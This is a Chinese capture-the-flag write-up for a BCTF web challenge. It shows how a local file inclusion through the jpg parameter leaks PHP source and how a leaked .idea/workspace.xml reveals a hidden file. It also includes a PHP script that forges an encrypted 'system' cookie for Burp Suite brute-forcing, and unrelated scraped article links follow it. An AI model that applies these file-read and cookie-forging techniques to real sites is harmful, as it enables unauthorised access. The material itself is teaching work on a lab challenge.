BCTF Web Code–考脑洞,你能过么?

1)打开链接,是一张图片

根据URL特点推断可能是有文件包含漏洞

2) 将jpg参数修改成index.php,查看源代码,发现base64编码后的代码

3)解码后index.php的源码

<?php

/**

* Created by PhpStorm.

* Date: 2015/11/16

* Time: 1:31

*/

header('content-type:text/html;charset=utf-8');

if(! isset($_GET['jpg']))

header('Refresh:0;url=./index.php?jpg=hei.jpg');

$file = $_GET['jpg'];

echo '<title>file:'.$file.'</title>';

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);

$file = str_replace("config","_", $file);

$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*

* Can you find the flag file?

*

*/

?>

提到一个config,尝试访问config.php,没有用,返回内容为空

4)此题脑洞在于注释部分

Created by PhpStorm.

phpstorm会产生一个./idea文件,尝试访问 .idea/workspace.xml

得到另一个php文件

5)直接访问文件,没有可用信息

读取该文件,也没有可用信息

6)脑洞在于,根据config.php源码,对config进行了replace替换操作,逆向思维下将_编程config

fl3g_ichuqiu.php –> fl3gconfigichuqiu.php

读取文件,发现可以读到

7)base64解码后,得到源代码

<?php

/**

* Created by PhpStorm.

* Date: 2015/11/16

* Time: 1:31

*/

error_reporting(E_ALL || ~E_NOTICE);

include('config.php');

function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {

$hash = '';

$max = strlen($chars) - 1;

for($i = 0; $i < $length; $i++) {

$hash .= $chars[mt_rand(0, $max)];

}

return $hash;

}

function encrypt($txt,$key){

for($i=0;$i<strlen($txt);$i++){

$tmp .= chr(ord($txt[$i])+10);

}

$txt = $tmp;

$rnd=random(4);

$key=md5($rnd.$key);

$s=0;

for($i=0;$i<strlen($txt);$i++){

if($s == 32) $s = 0;

$ttmp .= $txt[$i] ^ $key[++$s];

}

return base64_encode($rnd.$ttmp);

}

function decrypt($txt,$key){

$txt=base64_decode($txt);

$rnd = substr($txt,0,4);

$txt = substr($txt,4);

$key=md5($rnd.$key);

$s=0;

for($i=0;$i<strlen($txt);$i++){

if($s == 32) $s = 0;

$tmp .= $txt[$i]^$key[++$s];

}

for($i=0;$i<strlen($tmp);$i++){

$tmp1 .= chr(ord($tmp[$i])-10);

}

return $tmp1;

}

$username = decrypt($_COOKIE['user'],$key);

if ($username == 'system'){

echo $flag;

}else{

setcookie('user',encrypt('guest',$key));

echo "╮(╯▽╰)╭";

}

?>

根据源代码得到加密和解密算法,当输入的cookie[user]经过解密算法得到system时,可以输出flag的值

8)根据encrypt算法,需要计算出$key的值,然后用在decrypt中,根据算法写出解密算法

<?php

function ss($txt,$m){

for($i=0;$i<strlen($m);$i++){

$tmp .= chr(ord($m[$i])+10);

}

$m=$tmp;

$tmp='';

$txt=base64_decode($txt);

$rnd = substr($txt,0,4);

$txt = substr($txt,4);

for($i=0;$i<strlen($txt);$i++){

$key .= $txt[$i] ^ $m[$i];

}

$s='0123456789abcdef';

$txt1='system';

for($i=0;$i<strlen($txt1);$i++){

$tmp .= chr(ord($txt1[$i])+10);

}

$txt1=$tmp;

$tmp='';

for($i=0;$i<16;$i++){

$tmp = $key.$s[$i];

for($ii=0;$ii<strlen($txt1);$ii++){

$txt2 .= $txt1[$ii] ^ $tmp[$ii];

}

echo base64_encode($rnd.$txt2).'</br>';

$txt2='';

}

}

ss('Nmo1ehccWERM','guest');

?>

9)首先访问链接得到user的cookie值

然后将cookie值作为参数带入解密算法中,计算得到

10)将这16个值作为burpsuite爆破的对象,进行爆破,得到flag

BCTF Web Code–考脑洞,你能过么?的更多相关文章

  1. ace & web ide & web code editor

    ace & web ide & web code editor web ide https://ace.c9.io/ https://github.com/ajaxorg/ace ht ...

  2. 【C#】转一篇MSDN杂志文:ASP.NET Pipeline: Use Threads and Build Asynchronous Handlers in Your Server-Side Web Code

    序:这是一篇发表在2003年6月刊的MSDN Magazine的文章,现在已经不能在线阅读,只提供chm下载.讲的是异步请求处理那些事,正是我上一篇博文涉及的东西(BTW,事实上这篇杂志阐述了那么搞然 ...

  3. web - code/flash

    trace 来源: 1. http://traces.cs.umass.edu/index.php/Storage/Storage 源代码: 1.sourceforge 2.github.github ...

  4. [C#]動態叫用Web Service

    http://www.dotblogs.com.tw/jimmyyu/archive/2009/04/22/8139.aspx 摘要 Web Service對大家來說想必都不陌生,也大都了解Web S ...

  5. web.py学习心得

    1.注意判断数字时,如果是get传递的参数,一定要用int转换.不然出错. 2.$var 定义时,冒号后的内容不是python内容,需加上$符号.如$var naviId:$naviId. 3.各个模 ...

  6. Linux 安装tomcat,搭建web app运行环境

    Tomcat 8 下载地址:https://tomcat.apache.org/download-80.cgi 解压tomcat:tar -xf apache-tomcat-8.5.31.tar.gz ...

  7. [转]Clean Code Principles: Be a Better Programmer

    原文:https://www.webcodegeeks.com/web-development/clean-code-principles-better-programmer/ ----------- ...

  8. web之ics-06

    打开网址,四处点击,点到报表中心,跳转新页面 查看源码也没有什么特别的,发现URL栏有?id=1 以为是sql注入,但是并不是,查看大佬的wp 发现这题采用brupsuite爆破 先将抓到的包放到In ...

  9. 渗透测试思路 - CTF(番外篇)

    渗透测试思路 ​ Another:影子 (主要记录一下平时渗透的一些小流程和一些小经验) CTF(番外篇) ​ 笔者是一个WEB狗,更多的是做一些WEB类型题目,只能怪笔者太菜,哭~~ 前言 ​ 本篇 ...

随机推荐

  1. IK分词器 IKAnalyzer 简单demo

    所用IKAnalyzer:IK-Analyzer-2012FF   百度云:http://pan.baidu.com/s/1bne9UKf 实例代码: package com.test.ik.anal ...

  2. unity3D学习序幕

    目前,我所在的公司不适合我长久发展,在一好友的提示下,我决定以unity3D程序员的身份,返回我2013年工作过的那家公司.关于unity3D,除了几年前一点模糊的记忆,其他都是一篇空白.今年年初我买 ...

  3. linux服务器开发二(系统编程)--线程相关

    线程概念 什么是线程 LWP:Light Weight Process,轻量级的进程,本质仍是进程(在Linux环境下). 进程:独立地址空间,拥有PCB. 线程:也有PCB,但没有独立的地址空间(共 ...

  4. SAP CRM 高效调试方法

    调试,是程序开发中的基本技巧.快速定位错误消息在源代码中的位置,对发现和解决程序中的问题有着重要的意义.在SAP CRM中,错误消息通常在前台的Web Client页面中展示,应该怎样定位相关代码的位 ...

  5. Linux系统下给非root用户添加sudo权限

    Linux系统下给非root用户添加sudo权限 有时,在linux系统中非root用户运行sudo命令,会提示类似信息:  xxx is not in the sudoers file. This ...

  6. java的return区别

    return ;和return null的区别在于:前者当方法返回值为void时候,return ; 跳出方法. 后者当方法的返回值为object对象时,return null,跳出方法,返回值为空值 ...

  7. CSS属性之absolute

    0.脱离标准文档流 绝对定位的元素会脱离标准文档流,拥有z-index属性,并且对于它的任何操作和改变都不会影响它的兄弟元素和父级元素,这里就不过多介绍. 不过值得注意的是,虽然绝对定位元素脱离的标准 ...

  8. [bzoj4540][Hnoi2016][序列] (莫队算法+单调栈+st表)

    Description 给定长度为n的序列:a1,a2,…,an,记为a[1:n].类似地,a[l:r](1≤l≤r≤N)是指序列:al,al+1,…,ar-1,ar.若1≤l≤s≤t≤r≤n,则称a ...

  9. C++-----lambda使用

    lambda是匿名函数,可以拿来当作inline函数使用(用于解决程序员的"起名困难综合症") lambda函数形式: [...] (...) ... {...} [] 内是一个c ...

  10. python json数组对象排序

    arr = [{"name": "name_1", "level": 1}, {"name": "name_2 ...